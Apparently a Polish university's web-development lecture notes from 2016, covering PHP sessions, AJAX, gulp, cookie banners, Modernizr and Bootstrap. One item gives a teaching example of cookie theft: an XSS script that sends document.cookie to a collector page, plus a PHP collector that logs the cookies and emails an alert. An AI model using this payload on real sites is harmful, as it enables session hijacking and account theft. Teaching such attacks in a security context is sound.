        <?php
          echo "<p>Witaj " . $_SESSION['Imie'] . " " . $_SESSION['Nazwisko'] . "</p>";
        ?>
        <p>Jesteś na dosyć bezpiecznej stronie.</p>
        
        <a href="login.php?logout">Wyloguj się</p>
        </body>
        </html>
      
      Ważne: Sprawdzenie, czy sesja jest poprawnie ustawiona powinno się odbywać na początku plików uruchaminaych w obrebie sesji.

2016-05-13: SESJE, AJAX

  1. Trochę ulepszona sesja
    namespace SESJA;
    
    //sprawdzamy, czy połączenie jest typu https;
    function isSecure() {
      return
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
        || $_SERVER['SERVER_PORT'] == 443;
    }
    
    function CheckUser(){
      //utrudniamy życie hakerom: w naglowku się nie uda przesłać info; 
      if (!(isset($_POST['user']) and isset($_POST['password']))){
        return false;
      }
      //chcemy mieć dostęp tylko w trybie https
      if (!isSecure()){
        return false;
      }
    
      $NICK = (string)$_POST['user'];
      $PASS = (string)$_POST['password'];
    
      if ($PASS==='1234'){ //to trzeba zastąpić swoim własnym mechanizmem
        $time   = 60*60;
        $path   = "/";
        $domain = $_SERVER['SERVER_NAME'];
        $secure = true; //tylko https
        $http   = true; //tylko http; javascript nie będzie się mógł łatwo dobrać
        session_set_cookie_params ($time, $path, $domain, $secure, $http);
        session_start();
        $_SESSION['NICK']     = $NICK;
        //To warto zatrzymać w sesji; nie będzie trzeba często sięgać do bazy
        $_SESSION['Imie']     = "Jacek";
        $_SESSION['Nazwisko'] = "Cichoń"; 
        return true;
      } else {
        return false;
      }
    }
    
    function CheckSession(){
      session_start();
      return isSecure() && isset($_SESSION['NICK']);
    }
    
    function StopSession(){
      session_start();
      $params = session_get_cookie_params();
      session_unset();
      session_destroy(); 
      setcookie(session_name(), '', 1, 
        $params['path'], $params['domain'], 
        $params['secure'], isset($params['httponly'])
      );
    }
    
  2. Parametry curl: curl -v -k https://127.0.0.01/bazy/login.php
  3. Cykliczne odświerzanie elementów
    <script>
    $.ajaxSetup({ cache: false });
    
    function UpdateNews(){
      $("#News").load("komunikat.php");
      //$("#News").load("komunikat.php"  + "?" + new Date().getTime());
    }
    
    $( document ).ready(function() {
      UpdateNews();
      myTimer = setInterval(UpdateNews, 10000);
    });
    </script>
    
  4. Dwa sposoby odświerzania elementów:
    1. setTimeout(function, milliseconds): wywołanie funkcji, po odczekaniu określonej liczby milisekund.
    2. setInterval(function, milliseconds): podobne do setTimeout(), ale wywołuje funkcję cyklicznie.
  5. Rysowanie na canvas. Przykład: Clock
  6. Skrypt do wydobycia cookies ze źle zabezpieczonej strony
    <script>
    $.ajax({  
       type: "GET",  
       data: "c="+document.cookie,  
       url : "http://127.0.0.1/bazy/storecookie.php",  
       success: function(msg)  
       {  
       }
    });  
    </script>
    
    oraz plik zbierający wydobyte cookies
    <?php;
    
    if (isset($_GET["c"])){
      $txt = $_GET["c"];
      $myfile = file_put_contents('skradzinecookies.txt', $txt.PHP_EOL , FILE_APPEND);
      $url=  $_SERVER['HTTP_REFERER']; 
      mail( 'jacek.cichon@pwr.edu.pl', 
        'Złapaliśmy nastepnego!',   
        "Idź do $uri i zastosuj $cookie." ); 
    }
    ?>
    
  7. Wykorzystanie modułu cleanCSS do minimalizacji plików css
    gulp.task('minify-simple', function() {
      return gulp.src('simple/css/*.css')
        .pipe(cleanCSS({compatibility: 'ie8'}))
        .pipe(gulp.dest('simple/dist'));
    });
    
  8. Google Closure Compiler. Przepuśćcie swoje pliki javascript przez Closure Compiler: pewnie sporo się nauczycie.

2016-05-20: COOKIES, SESJE, AJAX, CHAT

  1. Ograniczenia prawne związane ze stosowaniem cookies.
  2. Modele bezpiecznych serisów internetowych. Model Bell-LaPadula
  3. Prosty chat oparty o javascript i php. Spakowane pliki: chat.zip

2016-05-27: COOKIES, autoprefixer, modernizer

  1. Link do dosyć prostego skryptu informującego o stosowaniu cookies: jquery-cookiebar.
  2. Przykład użycia jquery-cookiebar:
    
    <html lang="pl">
    <head>
      <meta charset="utf-8">
      <script src="js/jquery-1.12.3.min.js"></script>
      <script src="js/jquery.cookiebar.js"></script>
      ....
    </head>
    <body>
    ....
    <script type="text/javascript">
      $(document).ready(function(){
        $.cookieBar({
          message:"We use cookies to store users language preferences.",
          bottom: true
        });
      });
    </script>
    </body>
    </html>
    
  3. Skrypt gulpa uruchamiający autoprefixer'a (fragment zbioru gulpfile.js):
    gulp.task('autoprefixer', function () {
        var postcss      = require('gulp-postcss');
        var sourcemaps   = require('gulp-sourcemaps');
        var autoprefixer = require('autoprefixer');
     
        return gulp.src('simple/css/*.css')
            .pipe(sourcemaps.init())
            .pipe(postcss([ autoprefixer({ browsers: ['last 2 versions'] }) ]))
            .pipe(sourcemaps.write('.'))
            .pipe(gulp.dest('simple/dest'));
    });
    
  4. Link do modernizer'a: modernizr.com
  5. Przykład wykorzystania modernizer'a:
    <!DOCTYPE html>
    <html lang="pl" class="no-js">
    <head>
    ....
    <script src="js/modernizr-custom.js"></script>
    <script src='js/Logo.js'></script>
    </head>
    <body>
    ...
    <div id="logo"></div>
    ...
    <script>
    window.onload = function(){
      var logo   = document.getElementById("logo");
      if (Modernizr.canvas) { 
    	var canvas = document.createElement("canvas");
    	canvas.setAttribute("id", "canvas");
    	logo.appendChild(canvas);
    	window.addEventListener("resize", drawLogo);
    	drawLogo();
      } else {
    	var img= document.createElement("img");
    	img.src = "img/InfWPPT.png";
    	img.style.width="100%";
    	img.style.height="auto";
    	logo.appendChild(img); 
      }
    };
    </script>
    </body>
    </html>
    
  6. Przykład tooltipa (mało uniwersalnego) zrealizowanego za pomocą czystego css:
    ...
    <style>
    ...
    .button {
        background-color: #C00;
        border: none;
        color: white;
        padding: 0.5em;
        text-align: center;
        text-decoration: none;
        display: inline-block;
        font-size: 1em;
        margin: 4px 2px;
        cursor: pointer;
    }	
    
    [class~="tooltip"]{position:relative;}
    [class~="tooltip"]:after{
    	position: absolute;
    	visibility:hidden;
    	content: attr(data-tooltip);
    	background: #000;
    	color: #ff0;
    	padding: 0.5em 0.75em;
    	z-index:100;
    	top: 1.5em;
    	white-spaceX: nowrap;
    	border-radius: 0.5em;
    }	
    [class~="tooltip"]:hover:after {
      display: block;
      visibility: visible;
    }
    </style>
    ....
    <a class="button tooltip" 
      href="CheckCookie.php?lang=en" 
      data-tooltip = 
      "We will use cookies to store your language preferences">eng</a>
    ...
    
  7. Can I Use It?
  8. Statystyki przeglądarek

2016-06-03: BOOTSTRAP

  1. Link do Zurb Foundation
  2. Link do Bootstrap'a
  3. Link do Bootstrap 3 Tutorial; powinniście samodzielnie przerobić wszystkie przykłady z tej strony zanim zaczniecie stosować bootstrapa do celów profesjonalnych !!!
  4. Strona którą bawiliśmy się na wykładzie, z przykładami możliwości Bootstrap'a: jumbo.html (to jest strona zrobiona mało profesjonalnie; służy tylko do celów demonstracyjnych; większość kodu pochodzi z W3School)
  5. Druga strona z wykładu: afix.html
  6. Rozmiary plików:
    1. bootstrap.min.css: 121 260 by
    2. bootstrap.min.js: 36 868 by
    3. jquery-1.12.3.min.js: 97 180 by

    To jest koszt, który płacicie na starcie : 229 308 by, czyli 224 kB.